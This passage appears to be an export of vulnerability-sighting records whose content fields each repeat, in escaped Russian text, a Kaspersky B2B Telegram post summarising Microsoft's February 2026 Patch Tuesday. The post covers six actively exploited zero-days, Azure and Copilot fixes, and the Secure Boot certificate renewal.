\u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "7d7957b3-a279-4d8b-8c53-7c958c228a73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21525", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "dff2fa5a-ec4a-4ab4-ac41-205288b40803", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21523", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e 